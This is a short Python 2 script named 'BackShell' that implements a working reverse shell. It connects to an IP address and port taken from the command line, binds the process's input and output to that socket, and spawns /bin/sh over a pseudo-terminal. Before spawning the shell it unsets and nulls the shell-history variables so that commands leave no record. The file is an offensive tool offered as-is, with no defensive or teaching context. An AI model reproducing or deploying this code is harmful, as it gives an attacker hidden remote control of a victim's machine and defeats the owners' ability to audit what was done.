BackShell

backshell.py

#!/usr/bin/env python
#coding=utf-8

import os
import sys
import socket
import pty

shell = "/bin/sh"


class BackShell(object):
    def __init__(self, ip_address, port):
        self.ip_address = ip_address
        self.port = port

    def reverse(self):
        global shell
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((self.ip_address, int(self.port)))
            print '[+] Connect success'
        except Exception as err:
            print '[-] Connect failed.\n%s' % err
            sys.exit(1)
        os.dup2(s.fileno(), 0)
        os.dup2(s.fileno(), 1)
        os.dup2(s.fileno(), 2)
        os.unsetenv("HISTFILE")
        os.unsetenv("HISTFILESIZE")
        os.unsetenv("HISTSIZE")
        os.unsetenv("HISTORY")
        os.unsetenv("HISTSAVE")
        os.unsetenv("HISTZONE")
        os.unsetenv("HISTLOG")
        os.unsetenv("HISTCMD")
        os.putenv("HISTFILE", '/dev/null')
        os.putenv("HISTSIZE", '0')
        os.putenv("HISTFILESIZE", '0')
        pty.spawn(shell)
        s.close()

if __name__ == '__main__':
    if len(sys.argv) != 3:
        print sys.argv
        print 'not action.'
        sys.exit(0)
    IP_ADDR = sys.argv[1]
    PORT = sys.argv[2]

    back_shell = BackShell(IP_ADDR, PORT)
    back_shell.reverse()